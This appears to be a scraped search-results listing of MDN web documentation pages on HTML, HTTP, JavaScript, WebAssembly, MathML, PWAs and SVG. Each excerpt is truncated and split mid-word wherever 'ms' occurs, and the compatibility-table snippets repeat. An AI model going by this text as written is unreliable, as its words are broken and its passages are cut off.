msung internetlisting deprecatedchrome no support noedge no support nofirefox no support nonotes no support nonotes notes before firefox 4, this element implemented the htmlspanelement interface instead of the standard ht...
...id no support nonotes no support nonotes notes before firefox 4, this element implemented the htmlspanelement interface instead of the standard htmlelement interface.opera android no support nosafari ios no support nosa
msung internet android no support nolegend no support no supportdeprecated.
<menuitem> - HTML: Hypertext Markup Language
(menu ite
ms for indirect commands gain checkboxes or radio buttons when defined against elements <input type="checkbox"> and <input type="radio">.) content categories none.
...note that disabled is distinct from hidden; the disabled attribute is appropriate in any context where a change in circu
mstances might render the command relevant.
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
html version 2 level 1 this is like the level 2 default but it excludes all the for
ms elements, i.
...along with such constructs as nesting a header (<h*> element) within a link (<a> element) html version 2 level 2 this is the default and includes and permits all html level 2 functions and elements and attributes html version 2 strict level 2 this excludes these depreciated elements and also forbids such constructs as nesting a header (<h*> element) within a link (<a> element), or having a for
ms <input> element which is not within a block level element such as <p> html version 3.2 <nextid> has vanished altogether, never to be heard from again.
<sub>: The Subscript element - HTML: Hypertext Markup Language
denoting the number of ato
ms of a given element within a chemical formula (such as every developer's best friend, c8h10n4o2, otherwise known as "caffeine").
...<var>x<sub>n</sub></var>.</p> the resulting output: chemical formulas when writing a chemical formula, such as h20, the number of ato
ms of a given element within the described molecule is represented using a subscripted number; in the case of water, the subscripted "2" indicates that there are two ato
ms of hydrogen in the molecule.
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
use cases valid use cases for the <u> element include annotating spelling errors, applying a proper name mark to denote proper names in chinese text, and other for
ms of annotation.
... other elements to consider using in most cases, you should use an element other than <u>, such as: <em> to denote stress emphasis <b> to draw attention to text <mark> to mark key words or phrases <strong> to indicate that text has strong importance <cite> to mark the titles of books or other publications <i> to denote technical ter
ms, transliterations, thoughts, or names of vessels in western texts to provide textual annotations (as opposed to the non-textual annotations created with <u>), use the <ruby> element.
accesskey - HTML: Hypertext Markup Language
ie/edge uses the first one it supports without proble
ms, provided there are no conflicts with other commands.
...so adapting to specific languages could cause further proble
ms.
autocapitalize - HTML: Hypertext Markup Language
instead, it affects the behavior of other input mechanis
ms, such as virtual keyboards on mobile devices and voice input.
... the behavior of such mechanis
ms is that they often assist users by automatically capitalizing the first letter of sentences.
Link types - HTML: Hypertext Markup Language
although recognized, the synony
ms begin and start are incorrect and must be avoided.
... note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in ter
ms of deciding whether to open a new window/tab.
Data URLs - HTTP
encoding on a unix system base64 encoding of a file or string on linux and mac os x syste
ms can be achieved using the command-line base64 (or, as an alternative, the uuencode utility with -m argument).
... [convert]::tobase64string([text.encoding]::utf8.getbytes("hello")) # outputs to console: agvsbg8= bash -c "echo -n hello`|base64" # outputs to console: agvsbg8= # the backtick (`) is used to escape the piping (|) character here common proble
ms this section describes proble
ms that commonly occur when creating and using data urls.
Cross-Origin Resource Sharing (CORS) - HTTP
code of this sort might be used in javascript deployed on foo.example: const xhr = new xmlhttprequest(); const url = 'https://bar.other/resources/public-data/'; xhr.open('get', url); xhr.onreadystatechange = somehandler; xhr.send(); this perfor
ms a simple exchange between the client and the server, using cors headers to handle the privileges: let's look at what the browser will send to the server in this case, and let's see how the server responds: get /resources/public-data/ http/1.1 host: bar.other user-agent: mozilla/5.0 (macintosh; intel mac os x 10.14; rv:71.0) gecko/20100101 firefox/71.0 accept: text/html,application/xhtml+xml,a...
...the server now has an opportunity to determine whether it wishes to accept a request under these circu
mstances.
Content Security Policy (CSP) - HTTP
malicious scripts are executed by the victim's browser because the browser trusts the source of the content, even when it's not coming from where it see
ms to be coming from.
...there are specific directives for a wide variety of types of ite
ms, so that each type can have its own policy, including fonts, frames, images, audio and video media, scripts, and workers.
Connection management in HTTP/1.x - HTTP
to ease these proble
ms, the concept of a persistent connection has been designed, even prior to http/1.1.
...the typical
mss (maximum segment size), is big enough to contain several simple requests, although the demand in size of http requests continues to grow.
Feature Policy - HTTP
existing features that later integrate with feature policy will typically use existing mechanis
ms.
...where available, the feature integrates with the permissions api, or feature-specific mechanis
ms to check if the feature is available.
Accept-Patch - HTTP
they implement the algorithm used by these two unix progra
ms.
... note that the first one was discontinued due to patent licensing proble
ms.
Content-Disposition - HTTP
the content-disposition header is defined in the larger context of mime messages for e-mail, but only a subset of the possible parameters apply to http for
ms and post requests.
...use of the content-disposition header: post /test.html http/1.1 host: example.org content-type: multipart/form-data;boundary="boundary" --boundary content-disposition: form-data; name="field1" value1 --boundary content-disposition: form-data; name="field2"; filename="example.txt" value2 --boundary-- specifications specification title rfc 7578 returning values from for
ms: multipart/form-data rfc 6266 use of the content-disposition header field in the hypertext transfer protocol (http) rfc 2183 communicating presentation information in internet messages: the content-disposition header field ...
OPTIONS - HTTP
request has body no successful response has body yes safe yes idempotent yes cacheable no allowed in html for
ms no syntax options /index.html http/1.1 options * http/1.1 examples identifying allowed request methods to find out which request methods a server supports, one can use the curl command-line program to issue an options request: curl -x options https://example.org -i the response then contains an allow header that holds the allowed methods: http/1.1 204 no content allow: options, get, head, post cache-control: ma...
...resources/post-here/ http/1.1 host: bar.example accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip,deflate connection: keep-alive origin: https://foo.example access-control-request-method: post access-control-request-headers: x-pingother, content-type the server now can respond if it will accept a request under these circu
mstances.
TRACE - HTTP
the http trace method perfor
ms a message loop-back test along the path to the target resource, providing a useful debugging mechanism.
... request has body no successful response has body no safe no idempotent yes cacheable no allowed in html for
ms no syntax trace /index.html specifications specification title rfc 7231, section 4.3.8: trace hypertext transfer protocol (http/1.1): semantics and content ...
Redirections in HTTP - HTTP
you might also redirect from common synony
ms or frequent typos of your domains.
...in this case, the response is a 303 (see other) redirect that links to a page indicating that the action has been scheduled, and eventually infor
ms about its progress, or allows to cancel it.
Closures - JavaScript
the lexical environment contains two private ite
ms: a variable called privatecounter, and a function called changeby.
...your age (you must be over 16)'} ]; helptext.foreach(function(text) { document.getelementbyid(text.id).onfocus = function() { showhelp(text.help); } }); } setuphelp(); performance considerations it is unwise to unnecessarily create functions within other functions if closures are not needed for a particular task, as it will negatively affect script performance both in ter
ms of processing speed and memory consumption.
Grammar and types - JavaScript
for example: // this will cause an error function f() {}; const f = 5; // this will cause an error too function f() { const g = 5; var g; //statements } however, the properties of objects assigned to constants are not protected, so the following statement is executed without proble
ms.
... const my_object = {'key': 'value'}; my_object.key = 'othervalue'; also, the contents of an array are not protected, so the following statement is executed without proble
ms.
Introduction - JavaScript
java's class-based model means that progra
ms consist exclusively of classes and their methods.
... javascript and the ecmascript specification javascript is standardized at ecma international — the european association for standardizing information and communication syste
ms (ecma was formerly an acronym for the european computer manufacturers association) to deliver a standardized, international programming language based on javascript.
Loops and iteration - JavaScript
(note that it's possible that number could be zero!) the various loop mechanis
ms offer different ways to determine the start and end points of the loop.
...it checks that i is less than the number of options in the <select> element, perfor
ms the succeeding if statement, and increments i by after each pass through the loop.
Meta programming - JavaScript
terminology the following ter
ms are used when talking about the functionality of proxies.
...(this is analogous to the concept of traps in operating syste
ms.) target object which the proxy virtualizes.
Memory Management - JavaScript
this section will explain the concepts that are necessary for understanding the main garbage collection algorith
ms and their respective limitations.
... references the main concept that garbage collection algorith
ms rely on is the concept of reference.
Array.prototype.every() - JavaScript
// --------------- // modifying ite
ms // --------------- let arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr[index+1] -= 1 console.log(`[${arr}][${index}] -> ${elem}`) return elem < 2 }) // loop runs for 3 iterations, but would // have run 2 iterations without any modification // // 1st iteration: [1,1,3,4][0] -> 1 // 2nd iteration: [1,1,2,4][1] -> 1 // 3rd iteration: [1,1,2,3][2] -> 2 // --------------- // appendi...
...ng ite
ms // --------------- arr = [1, 2, 3]; arr.every( (elem, index, arr) => { arr.push('new') console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 3 iterations, even after appending new ite
ms // // 1st iteration: [1, 2, 3, new][0] -> 1 // 2nd iteration: [1, 2, 3, new, new][1] -> 2 // 3rd iteration: [1, 2, 3, new, new, new][2] -> 3 // --------------- // deleting ite
ms // --------------- arr = [1, 2, 3, 4]; arr.every( (elem, index, arr) => { arr.pop() console.log(`[${arr}][${index}] -> ${elem}`) return elem < 4 }) // loop runs for 2 iterations only, as the remaining // ite
ms are `pop()`ed off // // 1st iteration: [1,2,3][0] -> 1 // 2nd iteration: [1,2][1] -> 2 specifications specification ecmascript (ecma-262)the definition ...
Array.prototype.filter() - JavaScript
let fruits = ['apple', 'banana', 'grapes', 'mango', 'orange'] /** * filter array ite
ms based on search criteria (query) */ function filterite
ms(arr, query) { return arr.filter(function(el) { return el.tolowercase().indexof(query.tolowercase()) !== -1 }) } console.log(filterite
ms(fruits, 'ap')) // ['apple', 'grapes'] console.log(filterite
ms(fruits, 'an')) // ['banana', 'mango', 'orange'] es2015 implementation const fruits = ['apple', 'banana', 'grapes', 'mango', 'ora...
...nge'] /** * filter array ite
ms based on search criteria (query) */ const filterite
ms = (arr, query) => { return arr.filter(el => el.tolowercase().indexof(query.tolowercase()) !== -1) } console.log(filterite
ms(fruits, 'ap')) // ['apple', 'grapes'] console.log(filterite
ms(fruits, 'an')) // ['banana', 'mango', 'orange'] affecting initial array (modifying, appending and deleting) the following examples tests the behavior of the filter method when the array is modified.
Array.prototype.sort() - JavaScript
var ite
ms = [ { name: 'edward', value: 21 }, { name: 'sharpe', value: 37 }, { name: 'and', value: 45 }, { name: 'the', value: -12 }, { name: 'magnetic', value: 13 }, { name: 'zeros', value: 37 } ]; // sort by value ite
ms.sort(function (a, b) { return a.value - b.value; }); // sort by name ite
ms.sort(function(a, b) { var namea = a.name.touppercase(); // ignore upper and lowercase var nam...
... var ite
ms = ['réservé', 'premier', 'communiqué', 'café', 'adieu', 'éclair']; ite
ms.sort(function (a, b) { return a.localecompare(b); }); // ite
ms is ['adieu', 'café', 'communiqué', 'éclair', 'premier', 'réservé'] sorting with map the comparefunction can be invoked multiple times per element within the array.
Error.prototype.stack - JavaScript
browsers using the v8 javascript engine (such as chrome, opera 15+, android browser) and ie10+, on the other hand, uses a different format (see the archived
msdn error.stack docs).
...for example, firefox sets it when creating an error object, while phantomjs sets it only when throwing the error, and archived
msdn docs also seem to match the phantomjs implementation.
Error.prototype.toString() - JavaScript
'error' : string(name); var
msg = this.message;
msg = (
msg === undefined) ?
... '' : string(
msg); if (name === '') { return
msg; } if (
msg === '') { return name; } return name + ': ' +
msg; }; examples using tostring() var e = new error('fatal error'); console.log(e.tostring()); // 'error: fatal error' e.name = undefined; console.log(e.tostring()); // 'error: fatal error' e.name = ''; console.log(e.tostring()); // 'fatal error' e.message = undefined; console.log(e.tostring()); // '' e.name = 'hello'; console.log(e.tostring()); // 'hello' specifications specification ecmascript (ecma-262)the definition of 'error.prototype.tostring' in that specification.
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
these properties are present only if neither minimu
msignificantdigits nor maximu
msignificantdigits was provided in the options argument.
... minimu
msignificantdigits maximu
msignificantdigits the values provided for these properties in the options argument or filled in as defaults.
Intl.PluralRules.prototype.resolvedOptions() - JavaScript
these properties are present only if neither minimu
msignificantdigits nor maximu
msignificantdigits was provided in the options argument.
... minimu
msignificantdigits maximu
msignificantdigits the values provided for these properties in the options argument or filled in as defaults.
Intl - JavaScript
two matching algorith
ms exist: the "lookup" matcher follows the lookup algorithm specified in bcp 47; the "best fit" matcher lets the runtime provide a locale that's at least, but possibly more, suited for the request than the result of the lookup algorithm.
... one property is supported by all language sensitive constructors and functions: the localematcher property, whose value must be a string "lookup" or "best fit" and which selects one of the locale matching algorith
ms described above.
JSON.parse() - JavaScript
// but just to be safe, we want to reject all unexpected for
ms.
... if the reviver only transfor
ms some values and not others, be certain to return all untransformed values as-is, otherwise, they will be deleted from the resulting object.
Math - JavaScript
static properties math.e euler's constant and the base of natural logarith
ms; approximately 2.718.
... since humans tend to think in degrees, and some functions (such as css transfor
ms) can accept degrees, it is a good idea to keep functions handy that convert between the two: function degtorad(degrees) { return degrees * (math.pi / 180); }; function radtodeg(rad) { return rad / (math.pi / 180); }; calculating the height of an equalateral triangle if we want to calculate the height of an equalateral triangle, and we know its side length is 100, we can use the formulae l...
Object.fromEntries() - JavaScript
the object.fromentries() method transfor
ms a list of key-value pairs into an object.
... object.fromentries() perfor
ms the reverse of object.entries().
Object.keys() - JavaScript
patible object.keys support in older environments that do not natively support it, copy the following snippet: // from /docs/web/javascript/reference/global_objects/object/keys if (!object.keys) { object.keys = (function() { 'use strict'; var hasownproperty = object.prototype.hasownproperty, hasdontenumbug = !({ tostring: null }).propertyisenumerable('tostring'), dontenu
ms = [ 'tostring', 'tolocalestring', 'valueof', 'hasownproperty', 'isprototypeof', 'propertyisenumerable', 'constructor' ], dontenu
mslength = dontenu
ms.length; return function(obj) { if (typeof obj !== 'function' && (typeof obj !== 'object' || obj === null)) { throw new typeerror('object.keys cal...
...led on non-object'); } var result = [], prop, i; for (prop in obj) { if (hasownproperty.call(obj, prop)) { result.push(prop); } } if (hasdontenumbug) { for (i = 0; i < dontenu
mslength; i++) { if (hasownproperty.call(obj, dontenu
ms[i])) { result.push(dontenu
ms[i]); } } } return result; }; }()); } please note that the above code includes non-enumerable keys in ie7 (and maybe ie8), when passing in an object from a different window.
Promise - JavaScript
not to be confused with: several other languages have mechanis
ms for lazy evaluation and deferring a computation, which they also call "promises", e.g.
..., "threshold" values cause errors randomly const threshold_a = 8; // can use zero 0 to guarantee error function tetheredgetnumber(resolve, reject) { try { settimeout( function() { const randomint = date.now(); const value = randomint % 10; try { if(value >= threshold_a) { throw new error(`too large: ${value}`); } } catch(
msg) { reject(`error in callback ${
msg}`); } resolve(value); return; }, 500); // to experiment with error at set-up, uncomment the following 'throw'.
RegExp.prototype.exec() - JavaScript
for example, assume you have this script: let myre = /ab*/g; let str = 'abbcdefabh'; let myarray; while ((myarray = myre.exec(str)) !== null) { let
msg = 'found ' + myarray[0] + '.
... ';
msg += 'next match starts at ' + myre.lastindex; console.log(
msg); } this script displays the following text: found abb.
RegExp.prototype.flags - JavaScript
"gi
msuy").
... polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gi
msuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
Set - JavaScript
olowercase()) // true myset.has(o) // true myset.size // 5 myset.delete(5) // removes 5 from the set myset.has(5) // false, 5 has been removed myset.size // 4, since we just removed one value console.log(myset) // logs set(4) [ 1, "some text", {…}, {…} ] in firefox // logs set(4) { 1, "some text", {…}, {…} } in chrome iterating sets // iterate over ite
ms in set // logs the ite
ms in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset) console.log(item) // logs the ite
ms in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.keys()) console.log(item) // logs the ite
ms in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} for (let item of myset.values()) console.log(item)...
... // logs the ite
ms in the order: 1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2} // (key and value are the same here) for (let [key, value] of myset.entries()) console.log(key) // convert set object to an array object, with array.from let myarr = array.from(myset) // [1, "some text", {"a": 1, "b": 2}, {"a": 1, "b": 2}] // the following will also work if run in an html document myset.add(document.body) myset.has(document.queryselector('body')) // true // converting between set and array myset2 = new set([1, 2, 3, 4]) myset2.size // 4 [...myset2] // [1, 2, 3, 4] // intersect can be simulated via let intersection = new set([...set1].filter(x => set2.has(x))) // difference can be simulated via let difference = new set([...set1].filter(x => !set2.has...
String.prototype.indexOf() - JavaScript
indexof('', 0) // returns 0 'hello world'.indexof('', 3) // returns 3 'hello world'.indexof('', 8) // returns 8 however, with any fromindex value equal to or greater than the string's length, the returned value is the string's length: 'hello world'.indexof('', 11) // returns 11 'hello world'.indexof('', 13) // returns 11 'hello world'.indexof('', 22) // returns 11 in the former instance, js see
ms to find an empty string just after the specified index value.
... in the latter instance, js see
ms to be finding an empty string at the end of the searched string.
WebAssembly.CompileError() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jscompileerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Instance() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsinstance() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Instance.prototype.exports - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.LinkError() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jslinkerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Memory.prototype.buffer - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsbufferchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Memory.prototype.grow() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Module() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsmodule() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no su...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Module.exports() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsexportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Module.imports() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsimportschrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.RuntimeError() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsruntimeerror() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Table() constructor - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jstable() constructorchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no sup...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Table.prototype.get() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsgetchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Table.prototype.grow() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsgrowchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Table.prototype.length - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jslengthchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.Table.prototype.set() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jssetchrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.compile() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jscompilechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
WebAssembly.validate() - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsvalidatechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
isNaN() - JavaScript
thus for non-numbers that when coerced to numeric type result in a valid non-nan numeric value (notably the empty string and boolean primitives, which when coerced give numeric values zero or one), the "false" returned value may be unexpected; the empty string, for example, is surely "not a number." the confusion ste
ms from the fact that the term, "not a number", has a specific meaning for numbers represented as ieee-754 floating-point values.
...actually, isnan(x), isnan(x - 0), isnan(number(x)), number.isnan(x - 0), and number.isnan(number(x)) always return the same and in javascript isnan(x) is just the shortest possible form to express each of these ter
ms.
parseInt() - JavaScript
the parseint() function parses a string argument and returns an integer of the specified radix (the base in mathematical numeral syste
ms).
... radix optional an integer between 2 and 36 that represents the radix (the base in mathematical numeral syste
ms) of the string.
Lexical grammar - JavaScript
line terminator characters code point name abbreviation description escape sequence u+000a line feed <lf> new line character in unix syste
ms.
... \n u+000d carriage return <cr> new line character in commodore and early mac syste
ms.
Property accessors - JavaScript
x = eval('document.for
ms.form_name.elements.' + strformcontrol + '.value') eval() is slow and should be avoided whenever possible.
...it is better to use bracket notation instead: x = document.for
ms['form_name'].elements[strformcontrol].value specifications specification ecmascript (ecma-262)the definition of 'property accessors' in that specification.
typeof - JavaScript
type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (new in ecmascript 2020) "bigint" string "string" symbol (new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 ter
ms) "function" any other object "object" note: ecmascript 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic objects.
...null was represented as the null pointer (0x00 in most platfor
ms).
function* - JavaScript
generators in javascript -- especially when combined with promises -- are a very powerful tool for asynchronous programming as they mitigate -- if not entirely eliminate -- the proble
ms with callbacks, such as callback hell and inversion of control.
... however, an even simpler solution to these proble
ms can be achieved with async functions.
Strict mode - JavaScript
sometimes this fixes the immediate problem, but sometimes this creates worse proble
ms in the future.
...if you test only in browsers that don't support strict mode, you're very likely to have proble
ms in browsers that do, and vice versa.
<mi> - MathML
you can also have arbitrary text in it to mark up ter
ms.
...that is, although the names suggest the typographic style for the class, semantically, ite
ms with the same class are treated "the same" within an expression, which might or might not involve displaying them with the named typography.
<semantics> - MathML
in mathml there are two ways to mark up mathematics: presentation mathml is used to control the layout of equations, whereas content mathml is designed to encode the semantic mathematical meaning and to make expressions understandable to computer algebra syste
ms.
... example <math> <semantics> <!-- presentation mathml --> <mrow> <
msup> <mi>x</mi> <mn>2</mn> </
msup> <mo>+</mo> <mi>y</mi> </mrow> <!-- content mathml --> <annotation-xml encoding="mathml-content"> <apply> <plus/> <apply> <power/> <ci>x</ci> <cn type="integer">2</cn> </apply> <ci>y</ci> </apply> </annotation-xml> <!-- annotate an image...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes proble
ms with its display size.
... jank proble
ms when loading images in the olden days of web development, it was always seen as a good practice to add width and height attributes to your html <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads.
CSS and JavaScript animation performance - Web Performance
in ter
ms of performance, there is no difference between implementing an animation with css transitions or animations.
... in this section we'll walk you through a performance test, using firefox, to see what animation method see
ms better overall.
Navigation and resource timings - Web Performance
the performance timing api provided read only times, in milliseconds(
ms), describing at what time each point in the page loading process was reached.
...keeping this at 50
ms or faster helps ensure a responsive user interface.
Add to Home screen - Progressive web apps (PWAs)
in ter
ms of how to design the icon, you should follow the same best practices you'd follow for any android icon (see the android icon design guidelines).
... a2hs on desktop while originally intended to improve user experience on mobile oses, there is movement to make pwas installable on desktop platfor
ms too.
Introduction to progressive web apps - Progressive web apps (PWAs)
some of the capabilities have already been enabled on certain web-based platfor
ms by proprietary technologies like open graph, which provides a format for specifying similar metadata in the html <head> block using <meta> tags.
... re-engageability one major advantage of native platfor
ms is the ease with which users can be re-engaged by updates and new content, even when they aren't looking at the app or using their devices.
Media - Progressive web apps (PWAs)
it is equally appropriate to use e
ms (em) to match the font size, and percentages (%).
...place your mouse over the ite
ms in this list to see the actual pointer shapes in your browser: selector selects pointer indicating a link wait indicating that the program cannot accept input progress indicating that the program is working, but can still accept input default the default (usually an arrow) an outline property creates an outline that is often ...
alignment-baseline - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetalignment-baselinechrome ?
... sa
msung internet android ?
baseline-shift - SVG: Scalable Vector Graphics
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetbaseline-shiftchrome ?
... sa
msung internet android ?
